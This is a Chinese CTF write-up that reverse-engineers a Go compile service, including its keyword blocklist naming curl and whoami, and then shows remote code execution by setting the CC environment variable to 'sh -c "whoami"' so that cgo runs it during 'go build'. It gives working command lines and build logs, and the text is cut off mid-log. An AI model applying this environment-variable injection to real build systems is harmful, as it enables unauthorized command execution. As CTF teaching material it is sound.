變數
value
byte_6977B6
./userFile
byte_696DA9
%s/%s.go
這邊基本上可以確定的是req->Code被寫入到userFile下(一個.go)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 *(_OWORD *)v29.m256_f32 = v3; *(_OWORD *)&v29.m256_f32[4 ] = v3; v42.str = (uint8 *)&byte_6977B6; v42.len = 10LL ; v42.str = (uint8 *)runtime_convTstring(v42); *(_QWORD *)v29.m256_f32 = &RTYPE_string_0; *(_QWORD *)&v29.m256_f32[2 ] = v42.str; v42.str = name.str; v42.len = (int )&RTYPE__ptr_main_CompileRequest; v42.str = (uint8 *)runtime_convTstring(v42); *(_QWORD *)&v29.m256_f32[4 ] = &RTYPE_string_0; *(_QWORD *)&v29.m256_f32[6 ] = v42.str; v42.str = (uint8 *)&byte_696DA9; v42.len = 8LL ; v50.len = 2LL ; v50.cap = 2LL ; v50.array = (interface_ *)&v29; v21.str = fmt_Sprintf(v42, v50).str; v50.array = (interface_ *)_req->Code.len; ptr = _req->Code.ptr; v50 = (_slice_interface_)runtime_stringtoslicebyte((runtime_tmpBuf *)buf, *(string *)&v50.array ); v50.len = v13; v50.cap = (int )v50.array ; v43.len = 8LL ; v50.array = v14; v43.str = v21.str; v15 = os_WriteFile(v43, (_slice_uint8)v50, 0x1A4 u);
之後就進了main_mygoooHandler_func1
1 2 3 v17 = (runtime_funcval *)runtime_newobject((runtime__type *)&stru_67DD20); v17->fn = (uintptr)main_mygoooHandler_func1; v17[2 ].fn = 14LL ;
進重點先提一下這個,這是為了防止他在你的command卡住所以設了timeout,你在解題時就會發現,你用curl他其實會重複好幾次,但在遠端跑可能只Request兩三次就斷開就是這個原因https://pkg.go.dev/context#WithTimeout
1 2 3 4 5 6 7 8 val = *(_QWORD *)(v0 + 48 ); v50.str = *(uint8 **)(v0 + 8 ); v106.tab = (runtime_itab *)context_background; v106.data = (void *)10000000000LL ; v52 = context_WithTimeout((__int64)&go_itab__ptr_context_emptyCtx_comma_context_Context, v106, v3); v50.len = (int )v106.tab; v72 = (void (__golang **)(runtime_itab *, void *))v106.data; str = v50.str;
這部分重點就兩個第一部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 LABEL_39: v43 = v15; v51.len = (int )v14; v33 = v14[1 ]; v98.str = (uint8 *)*v14; v98.len = v33; v34 = strings_Index(*(string *)&v12, v98); v35 = v34 < 0 ; if ( v34 >= 0 ) break ; v32 = v43 + 1 ; if ( v43 + 1 >= 10 ) { v35 = v34 < 0 ; break ; } } if ( !v35 ) { v55[0 ] = &RTYPE_string_0; v55[1 ] = &off_70B800; v94.data = os_Stdout; v94.tab = (runtime_itab *)&go_itab__ptr_os_File_comma_io_Writer; v105.array = (interface_ *)v55; v105.len = 1LL ; v105.cap = 1LL ; fmt_Fprintln(v94, v105); v95.str = v50.str; v95.len = (int )name; os_Remove(v95); v96.str = v51.str; v96.len = v42; v36 = os_Remove(v96); HIBYTE(File._r0.cap) = 0 ; (*v72)(v36.tab, v36.data); return ; } v81.str = (uint8 *)v47.len; v81.len = (int )File._r1.data; v97.str = (uint8 *)w.data; v97.len = (int )File._r1.data; os_Setenv(v81, v97); runtime_mapiternext(&it);
這裡要關注的我們寫進去的json env做了甚麼,他被當成環境變數去做設定了https://pkg.go.dev/os#Setenv
1 2 3 4 5 6 v81.str = (uint8 *)v47.len; v81.len = (int )File._r1.data; v97.str = (uint8 *)w.data; v97.len = (int )File._r1.data; os_Setenv(v81, v97); runtime_mapiternext(&it);
寫進去的環境變數會去做檢查黑名單(檢查value是否有這些字串),IDA在解析有跑掉,不過透過下方數字可以知道長度
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ((void (__fastcall *)(char *))loc_464614)((char *)&File + 544 ); v71[0 ] = (__int64)&unk_696023; v71[1 ] = 2LL ; v71[2 ] = (__int64)"curlcx16" ; v71[3 ] = 4LL ; v71[4 ] = (__int64)"whoami" ; v71[5 ] = 6LL ; v71[6 ] = (__int64)&unk_696121; v71[7 ] = 3LL ; v71[8 ] = (__int64)&unk_696029; v71[9 ] = 2LL ; v71[10 ] = (__int64)&unk_69601B; v71[11 ] = 2LL ; v71[12 ] = (__int64)&unk_696308; v71[13 ] = 4LL ; v71[14 ] = (__int64)&stru_695F58.str + 6 ; v71[15 ] = 1LL ; v71[16 ] = (__int64)"echoerms" ; v71[17 ] = 4LL ; v71[18 ] = (__int64)&unk_69629C; v71[19 ] = 4LL ;
為何可以知道他是黑名單,因為這部分是檢查相關的,如果錯會噴error,或是可以透過error message直接知道這裡是黑名單
image
第二部分是看.go做了甚麼 先看這裡
1 2 3 4 5 6 7 8 9 10 11 12 v56 = v2; v82.str = v48; v82.len = val; v82.str = (uint8 *)runtime_convTstring(v82); *(_QWORD *)&v56 = &RTYPE_string_0; *((_QWORD *)&v56 + 1 ) = v82.str; v82.str = (uint8 *)"./userEXE/%s" ; v82.len = 12LL ; v101.len = 1LL ; v101.cap = 1LL ; v101.array = (interface_ *)&v56; v16 = fmt_Sprintf(v82, v101).str;
這裡是把userEXE用fmt串成路徑 這部分則是傳入arg,分別是 byte_69601D(go) unk_6964D5(build) unk_695F87(-o)
1 2 3 arg.array = (string *)&unk_6964D5; arg.len = 5LL ; arg.cap = (int )&unk_695F87;
最後被傳入os_exec_command,基本上到這裡就可以看出來 傳進去的.go會被編譯成執行檔(go build -o “your.go”) 這裡會發現,你無法控os_exec_command,所以第一個坑點,Command injection不在這 第二個坑點,你傳進去的.go不會被執行,所以沒有任意golang code執行
1 2 3 4 p_arg = &arg; p_data = 4LL ; v19 = 4LL ; v20 = (exec_Cmd *)os_exec_Command(v83, *(_slice_string *)(&p_data - 1 ));
逆向到這裡其實差不多了,簡單梳理流程就是 送出 POST -> 將 request 的 env跟code存起來到檔案 執行os setenv去更改環境變數(根據剛剛存的檔案也就是你輸入的環境變數),並去檢查你env的value是否吃黑名單,最後build你送進去的檔案 這題就是任意控env跟code他會幫你編譯卻不會執行的題目
attack 這題目標要 RCE 這邊可以先看看golang會有哪些環境變數 輸入go env可以知道
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 GO111MODULE="" GOARCH="amd64" GOBIN="" GOCACHE="/home/naup/.cache/go-build" GOENV="/home/naup/.config/go/env" GOEXE="" GOEXPERIMENT="" GOFLAGS="" GOHOSTARCH="amd64" GOHOSTOS="linux" GOINSECURE="" GOMODCACHE="/home/naup/go/pkg/mod" GONOPROXY="" GONOSUMDB="" GOOS="linux" GOPATH="/home/naup/go" GOPRIVATE="" GOPROXY="https://proxy.golang.org,direct" GOROOT="/usr/lib/go-1.18" GOSUMDB="sum.golang.org" GOTMPDIR="" GOTOOLDIR="/usr/lib/go-1.18/pkg/tool/linux_amd64" GOVCS="" GOVERSION="go1.18.1" GCCGO="gccgo" GOAMD64="v1" AR="ar" CC="gcc" CXX="g++" CGO_ENABLED="1" GOMOD="/dev/null" GOWORK="" CGO_CFLAGS="-g -O2" CGO_CPPFLAGS="" CGO_CXXFLAGS="-g -O2" CGO_FFLAGS="-g -O2" CGO_LDFLAGS="-g -O2" PKG_CONFIG="pkg-config" GOGCCFLAGS="-fPIC -m64 -pthread -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build2579239834=/tmp/go-build -gno-record-gcc-switches"
順便觀察一下golang在編譯時候的行為,我們去編譯這個
1 2 3 4 5 package mainimport "fmt" func main () { fmt.Println("MyGo!!!!!" ) }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 naup@naup-virtual-machine:~/Desktop/dist$ go build -x m.go WORK=/tmp/go-build980806300 mkdir -p $WORK/b001/cat >$WORK/b001/importcfg << 'EOF' # internal # import config packagefile fmt=/usr/lib/go-1 .18 /pkg/linux_amd64/fmt.a packagefile runtime=/usr/lib/go-1 .18 /pkg/linux_amd64/runtime.a EOF cd /home/naup/Desktop/dist/usr/lib/go-1 .18 /pkg/tool/linux_amd64/compile -o $WORK/b001/_pkg_.a -trimpath "$WORK/b001=>" -p main -complete -buildid Vsh2hLhWiJJICn-H5QGb/Vsh2hLhWiJJICn-H5QGb -goversion go1.18 .1 -c=2 -nolocalimports -importcfg $WORK/b001/importcfg -pack ./m.go /usr/lib/go-1 .18 /pkg/tool/linux_amd64/buildid -w $WORK/b001/_pkg_.a # internal cp $WORK/b001/_pkg_.a /home/naup/.cache/go-build/fe/fefe6b756cb52c2f43dcdf36df7185b972deafe8f4a6b45e8cd854903efd7c8d-d # internal cat >$WORK/b001/importcfg.link << 'EOF' # internal packagefile command-line-arguments=$WORK/b001/_pkg_.a packagefile fmt=/usr/lib/go-1 .18 /pkg/linux_amd64/fmt.a packagefile runtime=/usr/lib/go-1 .18 /pkg/linux_amd64/runtime.a packagefile errors=/usr/lib/go-1 .18 /pkg/linux_amd64/errors.a packagefile internal/fmtsort=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/fmtsort.a packagefile io=/usr/lib/go-1 .18 /pkg/linux_amd64/io.a packagefile math=/usr/lib/go-1 .18 /pkg/linux_amd64/math.a packagefile os=/usr/lib/go-1 .18 /pkg/linux_amd64/os.a packagefile reflect=/usr/lib/go-1 .18 /pkg/linux_amd64/reflect.a packagefile strconv=/usr/lib/go-1 .18 /pkg/linux_amd64/strconv.a packagefile sync=/usr/lib/go-1 .18 /pkg/linux_amd64/sync.a packagefile unicode/utf8=/usr/lib/go-1 .18 /pkg/linux_amd64/unicode/utf8.a packagefile internal/abi=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/abi.a packagefile internal/bytealg=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/bytealg.a packagefile internal/cpu=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/cpu.a packagefile internal/goarch=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/goarch.a packagefile internal/goexperiment=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/goexperiment.a packagefile internal/goos=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/goos.a packagefile runtime/internal/atomic=/usr/lib/go-1 .18 /pkg/linux_amd64/runtime/internal/atomic.a packagefile runtime/internal/math=/usr/lib/go-1 .18 /pkg/linux_amd64/runtime/internal/math.a packagefile runtime/internal/sys=/usr/lib/go-1 .18 /pkg/linux_amd64/runtime/internal/sys.a packagefile runtime/internal/syscall=/usr/lib/go-1 .18 /pkg/linux_amd64/runtime/internal/syscall.a packagefile internal/reflectlite=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/reflectlite.a packagefile sort =/usr/lib/go-1 .18 /pkg/linux_amd64/sort .a packagefile math/bits=/usr/lib/go-1 .18 /pkg/linux_amd64/math/bits.a packagefile internal/itoa=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/itoa.a packagefile internal/oserror=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/oserror.a packagefile internal/poll=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/poll.a packagefile internal/syscall/execenv=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/syscall/execenv.a packagefile internal/syscall/unix=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/syscall/unix.a packagefile internal/testlog=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/testlog.a packagefile internal/unsafeheader=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/unsafeheader.a packagefile io/fs =/usr/lib/go-1 .18 /pkg/linux_amd64/io/fs .a packagefile sync/atomic=/usr/lib/go-1 .18 /pkg/linux_amd64/sync/atomic.a packagefile syscall=/usr/lib/go-1 .18 /pkg/linux_amd64/syscall.a packagefile time =/usr/lib/go-1 .18 /pkg/linux_amd64/time .a packagefile unicode=/usr/lib/go-1 .18 /pkg/linux_amd64/unicode.a packagefile internal/race=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/race.a packagefile path =/usr/lib/go-1 .18 /pkg/linux_amd64/path .a modinfo "0 w\xaf\f\x92t\b\x02A\xe1\xc1\a\xe6\xd6\x18\xe6path\tcommand-line-arguments\nbuild\t-compiler=gc\nbuild\tCGO_ENABLED=1 \nbuild\tCGO_CFLAGS=\nbuild\tCGO_CPPFLAGS=\nbuild\tCGO_CXXFLAGS=\nbuild\tCGO_LDFLAGS=\nbuild\tGOARCH=amd64\nbuild\tGOOS=linux\nbuild\tGOAMD64=v1\n\xf92C1\x86\x18 r\x00\x82B\x10A\x16\xd8\xf2" EOF mkdir -p $WORK/b001/exe/cd ./usr/lib/go-1 .18 /pkg/tool/linux_amd64/link -o $WORK/b001/exe/a.out -importcfg $WORK/b001/importcfg.link -buildmode=exe -buildid=OckkTGN8spR__1zW-PIY/Vsh2hLhWiJJICn-H5QGb/TP-nY9XUtgFY4fz87Avq/OckkTGN8spR__1zW-PIY -extld=gcc $WORK/b001/_pkg_.a /usr/lib/go-1 .18 /pkg/tool/linux_amd64/buildid -w $WORK/b001/exe/a.out # internal mv $WORK/b001/exe/a.out m rm -r $WORK/b001/
單純看下來其實控環境變數對於golang編譯的行為其實不大,大部分是設定路徑跟使用package之類的行為 這題還讓你們控編譯的code那當然就沒那麼單純只是修改環境變數就可以RCE了
如果你認真觀察golang的環境變數會發現,他有跟gcc相關的環境變數,但卻沒有用到gcc
aaa
在 golang 中撰寫函式庫時,通常這些函式庫只能供 golang 使用。這是因為 golang 在提供跨語言支援上並不如一些其他語言靈活,相比之下,C、C++ 或是 Rust 等語言提供了更好的選擇,因為它們在性能、跨語言互操作性上表現更佳。
除此之外,許多現有的 C 或 C++ 函式庫已經被使用多年,並且運行穩定,沒有理由僅僅因為想轉換到 golang 而將這些函式庫重新實作。因此,最合理的方式是讓 golang 直接利用這些現有的 C 或 C++ 程式碼,而不是重寫
golang官方就開發了cgohttps://pkg.go.dev/cmd/cgo 仔細想想,要使用cgo一定要有C / C++ 編譯器之類的 而 CC 這個環境變量的 g++ 就是指定了編譯器,並去使用他
1 2 3 4 5 6 7 8 package mainimport ( "C" "fmt" ) func main () { fmt.Println("hello world" ) }
我們去 import C 再來看看編譯行為
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 naup@naup-virtual-machine:~/Desktop/dist$ go build -x m.go WORK=/tmp/go-build2958605316 mkdir -p $WORK/b001/cd /home/naup/Desktop/distTERM='dumb' CGO_LDFLAGS='"-g" "-O2"' /usr/lib/go-1 .18 /pkg/tool/linux_amd64/cgo -objdir $WORK/b001/ -importpath command-line-arguments -- -I $WORK/b001/ -g -O2 ./m.go cd $WORKgcc -fno-caret-diagnostics -c -x c - -o /dev/null || true gcc -Qunused-arguments -c -x c - -o /dev/null || true gcc -fdebug-prefix-map=a=b -c -x c - -o /dev/null || true gcc -gno-record-gcc-switches -c -x c - -o /dev/null || true cd $WORK/b001TERM='dumb' gcc -I /home/naup/Desktop/dist -fPIC -m64 -pthread -fmessage-length=0 -fdebug-prefix-map=$WORK/b001=/tmp/go-build -gno-record-gcc-switches -I ./ -g -O2 -o ./_x001.o -c _cgo_export.c TERM='dumb' gcc -I /home/naup/Desktop/dist -fPIC -m64 -pthread -fmessage-length=0 -fdebug-prefix-map=$WORK/b001=/tmp/go-build -gno-record-gcc-switches -I ./ -g -O2 -o ./_x002.o -c m.cgo2.c TERM='dumb' gcc -I /home/naup/Desktop/dist -fPIC -m64 -pthread -fmessage-length=0 -fdebug-prefix-map=$WORK/b001=/tmp/go-build -gno-record-gcc-switches -I ./ -g -O2 -o ./_cgo_main.o -c _cgo_main.c cd /home/naup/Desktop/distTERM='dumb' gcc -I . -fPIC -m64 -pthread -fmessage-length=0 -fdebug-prefix-map=$WORK/b001=/tmp/go-build -gno-record-gcc-switches -o $WORK/b001/_cgo_.o $WORK/b001/_cgo_main.o $WORK/b001/_x001.o $WORK/b001/_x002.o -g -O2 TERM='dumb' /usr/lib/go-1 .18 /pkg/tool/linux_amd64/cgo -dynpackage main -dynimport $WORK/b001/_cgo_.o -dynout $WORK/b001/_cgo_import.go cat >$WORK/b001/importcfg << 'EOF' # internal # import config packagefile fmt=/usr/lib/go-1 .18 /pkg/linux_amd64/fmt.a packagefile runtime/cgo=/usr/lib/go-1 .18 /pkg/linux_amd64/runtime/cgo.a packagefile syscall=/usr/lib/go-1 .18 /pkg/linux_amd64/syscall.a packagefile runtime=/usr/lib/go-1 .18 /pkg/linux_amd64/runtime.a EOF /usr/lib/go-1 .18 /pkg/tool/linux_amd64/compile -o $WORK/b001/_pkg_.a -trimpath "$WORK/b001=>" -p main -buildid 4 yhnu8TZ7l1bcN-natjy/4 yhnu8TZ7l1bcN-natjy -goversion go1.18 .1 -c=2 -nolocalimports -importcfg $WORK/b001/importcfg -pack $WORK/b001/_cgo_gotypes.go $WORK/b001/m.cgo1.go $WORK/b001/_cgo_import.go /usr/lib/go-1 .18 /pkg/tool/linux_amd64/pack r $WORK/b001/_pkg_.a $WORK/b001/_x001.o $WORK/b001/_x002.o # internal /usr/lib/go-1 .18 /pkg/tool/linux_amd64/buildid -w $WORK/b001/_pkg_.a # internal cp $WORK/b001/_pkg_.a /home/naup/.cache/go-build/b2/b23cd0a7318c2e4d4a0620fde83a19729de3706a3845412442e0b6a8eebdd9d5-d # internal cat >$WORK/b001/importcfg.link << 'EOF' # internal packagefile command-line-arguments=$WORK/b001/_pkg_.a packagefile fmt=/usr/lib/go-1 .18 /pkg/linux_amd64/fmt.a packagefile runtime/cgo=/usr/lib/go-1 .18 /pkg/linux_amd64/runtime/cgo.a packagefile syscall=/usr/lib/go-1 .18 /pkg/linux_amd64/syscall.a packagefile runtime=/usr/lib/go-1 .18 /pkg/linux_amd64/runtime.a packagefile errors=/usr/lib/go-1 .18 /pkg/linux_amd64/errors.a packagefile internal/fmtsort=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/fmtsort.a packagefile io=/usr/lib/go-1 .18 /pkg/linux_amd64/io.a packagefile math=/usr/lib/go-1 .18 /pkg/linux_amd64/math.a packagefile os=/usr/lib/go-1 .18 /pkg/linux_amd64/os.a packagefile reflect=/usr/lib/go-1 .18 /pkg/linux_amd64/reflect.a packagefile strconv=/usr/lib/go-1 .18 /pkg/linux_amd64/strconv.a packagefile sync=/usr/lib/go-1 .18 /pkg/linux_amd64/sync.a packagefile unicode/utf8=/usr/lib/go-1 .18 /pkg/linux_amd64/unicode/utf8.a packagefile sync/atomic=/usr/lib/go-1 .18 /pkg/linux_amd64/sync/atomic.a packagefile internal/bytealg=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/bytealg.a packagefile internal/itoa=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/itoa.a packagefile internal/oserror=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/oserror.a packagefile internal/race=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/race.a packagefile internal/unsafeheader=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/unsafeheader.a packagefile internal/abi=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/abi.a packagefile internal/cpu=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/cpu.a packagefile internal/goarch=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/goarch.a packagefile internal/goexperiment=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/goexperiment.a packagefile internal/goos=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/goos.a packagefile runtime/internal/atomic=/usr/lib/go-1 .18 /pkg/linux_amd64/runtime/internal/atomic.a packagefile runtime/internal/math=/usr/lib/go-1 .18 /pkg/linux_amd64/runtime/internal/math.a packagefile runtime/internal/sys=/usr/lib/go-1 .18 /pkg/linux_amd64/runtime/internal/sys.a packagefile runtime/internal/syscall=/usr/lib/go-1 .18 /pkg/linux_amd64/runtime/internal/syscall.a packagefile internal/reflectlite=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/reflectlite.a packagefile sort =/usr/lib/go-1 .18 /pkg/linux_amd64/sort .a packagefile math/bits=/usr/lib/go-1 .18 /pkg/linux_amd64/math/bits.a packagefile internal/poll=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/poll.a packagefile internal/syscall/execenv=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/syscall/execenv.a packagefile internal/syscall/unix=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/syscall/unix.a packagefile internal/testlog=/usr/lib/go-1 .18 /pkg/linux_amd64/internal/testlog.a packagefile io/fs =/usr/lib/go-1 .18 /pkg/linux_amd64/io/fs .a packagefile time =/usr/lib/go-1 .18 /pkg/linux_amd64/time .a packagefile unicode=/usr/lib/go-1 .18 /pkg/linux_amd64/unicode.a packagefile path =/usr/lib/go-1 .18 /pkg/linux_amd64/path .a modinfo "0 w\xaf\f\x92t\b\x02A\xe1\xc1\a\xe6\xd6\x18\xe6path\tcommand-line-arguments\nbuild\t-compiler=gc\nbuild\tCGO_ENABLED=1 \nbuild\tCGO_CFLAGS=\nbuild\tCGO_CPPFLAGS=\nbuild\tCGO_CXXFLAGS=\nbuild\tCGO_LDFLAGS=\nbuild\tGOARCH=amd64\nbuild\tGOOS=linux\nbuild\tGOAMD64=v1\n\xf92C1\x86\x18 r\x00\x82B\x10A\x16\xd8\xf2" EOF mkdir -p $WORK/b001/exe/cd ./usr/lib/go-1 .18 /pkg/tool/linux_amd64/link -o $WORK/b001/exe/a.out -importcfg $WORK/b001/importcfg.link -buildmode=exe -buildid=qsz7grbrD5uSgvJOHsxo/4 yhnu8TZ7l1bcN-natjy/93 DODu0O1nJlOV7JWxS8/qsz7grbrD5uSgvJOHsxo -extld=gcc $WORK/b001/_pkg_.a /usr/lib/go-1 .18 /pkg/tool/linux_amd64/buildid -w $WORK/b001/exe/a.out # internal mv $WORK/b001/exe/a.out m rm -r $WORK/b001/
他確實執行了gcc 那如果我們試著去修改CC這個env 再去執行
1 2 3 4 5 6 7 naup@naup-virtual-machine:~/Desktop/dist$ CC='MyGo!!!!!' go build -x m.go WORK=/tmp/go-build1547451115 mkdir -p $WORK/b041/ cd /usr/lib/go-1.18/src/runtime/cgo TERM='dumb' CGO_LDFLAGS='"-g" "-O2" "-lpthread"' /usr/lib/go-1.18/pkg/tool/linux_amd64/cgo -objdir $WORK/b041/ -importpath runtime/cgo -import_runtime_cgo=false -import_syscall=false -- -I $WORK/b041/ -g -O2 -Wall -Werror ./cgo.go # runtime/cgo cgo: C compiler "MyGo!!!!!" not found: exec: "MyGo!!!!!": executable file not found in $PATH
他好像執行到了 MyGo!!!!! 我們改成 sh -c ‘whoami’
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 naup@naup-virtual-machine:~/Desktop/dist$ CC='sh -c "whoami"' go build -x m.go WORK=/tmp/go-build4222736549 mkdir -p $WORK/b041/ cd /usr/lib/go-1.18/src/runtime/cgo TERM='dumb' CGO_LDFLAGS='"-g" "-O2" "-lpthread"' /usr/lib/go-1.18/pkg/tool/linux_amd64/cgo -objdir $WORK/b041/ -importpath runtime/cgo -import_runtime_cgo=false -import_syscall=false -- -I $WORK/b041/ -g -O2 -Wall -Werror ./cgo.go cd $WORK sh -c whoami -fno-caret-diagnostics -c -x c - -o /dev/null || true sh -c whoami -Qunused-arguments -c -x c - -o /dev/null || true sh -c whoami -fdebug-prefix-map=a=b -c -x c - -o /dev/null || true sh -c whoami -gno-record-gcc-switches -c -x c - -o /dev/null || true cd $WORK/b041 TERM='dumb' sh -c whoami -I /usr/lib/go-1.18/src/runtime/cgo -fPIC -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=$WORK/b041=/tmp/go-build -gno-record-gcc-switches -I ./ -g -O2 -Wall -Werror -fdebug-prefix-map=/usr/lib/go-1.18/src/runtime/cgo=/_/runtime/cgo -o ./_x001.o -c _cgo_export.c TERM='dumb' sh -c whoami -I /usr/lib/go-1.18/src/runtime/cgo -fPIC -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=$WORK/b041=/tmp/go-build -gno-record-gcc-switches -I ./ -g -O2 -Wall -Werror -fdebug-prefix-map=/usr/lib/go-1.18/src/runtime/cgo=/_/runtime/cgo -o ./_x002.o -c cgo.cgo2.c cd /usr/lib/go-1.18/src/runtime/cgo TERM='dumb' sh -c whoami -I . -fPIC -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=$WORK/b041=/tmp/go-build -gno-record-gcc-switches -I $WORK/b041/ -g -O2 -Wall -Werror -fdebug-prefix-map=/usr/lib/go-1.18/src/runtime/cgo=/_/runtime/cgo -o $WORK/b041/_x003.o -c gcc_context.c TERM='dumb' sh -c whoami -I . -fPIC -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=$WORK/b041=/tmp/go-build -gno-record-gcc-switches -I $WORK/b041/ -g -O2 -Wall -Werror -fdebug-prefix-map=/usr/lib/go-1.18/src/runtime/cgo=/_/runtime/cgo -o $WORK/b041/_x004.o -c gcc_fatalf.c TERM='dumb' sh -c whoami -I . -fPIC -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=$WORK/b041=/tmp/go-build -gno-record-gcc-switches -I $WORK/b041/ -g -O2 -Wall -Werror -fdebug-prefix-map=/usr/lib/go-1.18/src/runtime/cgo=/_/runtime/cgo -o $WORK/b041/_x005.o -c gcc_libinit.c TERM='dumb' sh -c whoami -I . -fPIC -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=$WORK/b041=/tmp/go-build -gno-record-gcc-switches -I $WORK/b041/ -g -O2 -Wall -Werror -fdebug-prefix-map=/usr/lib/go-1.18/src/runtime/cgo=/_/runtime/cgo -o $WORK/b041/_x006.o -c gcc_linux_amd64.c TERM='dumb' sh -c whoami -I . -fPIC -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=$WORK/b041=/tmp/go-build -gno-record-gcc-switches -I $WORK/b041/ -g -O2 -Wall -Werror -fdebug-prefix-map=/usr/lib/go-1.18/src/runtime/cgo=/_/runtime/cgo -o $WORK/b041/_x007.o -c gcc_mmap.c TERM='dumb' sh -c whoami -I . -fPIC -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=$WORK/b041=/tmp/go-build -gno-record-gcc-switches -I $WORK/b041/ -g -O2 -Wall -Werror -fdebug-prefix-map=/usr/lib/go-1.18/src/runtime/cgo=/_/runtime/cgo -o $WORK/b041/_x008.o -c gcc_setenv.c TERM='dumb' sh -c whoami -I . -fPIC -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=$WORK/b041=/tmp/go-build -gno-record-gcc-switches -I $WORK/b041/ -g -O2 -Wall -Werror -fdebug-prefix-map=/usr/lib/go-1.18/src/runtime/cgo=/_/runtime/cgo -o $WORK/b041/_x009.o -c gcc_sigaction.c TERM='dumb' sh -c whoami -I . -fPIC -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=$WORK/b041=/tmp/go-build -gno-record-gcc-switches -I $WORK/b041/ -g -O2 -Wall -Werror -fdebug-prefix-map=/usr/lib/go-1.18/src/runtime/cgo=/_/runtime/cgo -o $WORK/b041/_x010.o -c gcc_traceback.c TERM='dumb' sh -c whoami -I . -fPIC -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=$WORK/b041=/tmp/go-build -gno-record-gcc-switches -I $WORK/b041/ -g -O2 -Wall -Werror -fdebug-prefix-map=/usr/lib/go-1.18/src/runtime/cgo=/_/runtime/cgo -o $WORK/b041/_x011.o -c gcc_util.c TERM='dumb' sh -c whoami -I . -fPIC -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=$WORK/b041=/tmp/go-build -gno-record-gcc-switches -I $WORK/b041/ -g -O2 -Wall -Werror -fdebug-prefix-map=/usr/lib/go-1.18/src/runtime/cgo=/_/runtime/cgo -o $WORK/b041/_x012.o -c linux_syscall.c TERM='dumb' sh -c whoami -I . -fPIC -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=$WORK/b041=/tmp/go-build -gno-record-gcc-switches -I $WORK/b041/ -g -O2 -Wall -Werror -fdebug-prefix-map=/usr/lib/go-1.18/src/runtime/cgo=/_/runtime/cgo -o $WORK/b041/_x013.o -c gcc_amd64.S cd $WORK/b041 TERM='dumb' sh -c whoami -I /usr/lib/go-1.18/src/runtime/cgo -fPIC -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=$WORK/b041=/tmp/go-build -gno-record-gcc-switches -I ./ -g -O2 -Wall -Werror -fdebug-prefix-map=/usr/lib/go-1.18/src/runtime/cgo=/_/runtime/cgo -o ./_cgo_main.o -c _cgo_main.c cd /home/naup/Desktop/dist TERM='dumb' sh -c whoami -I 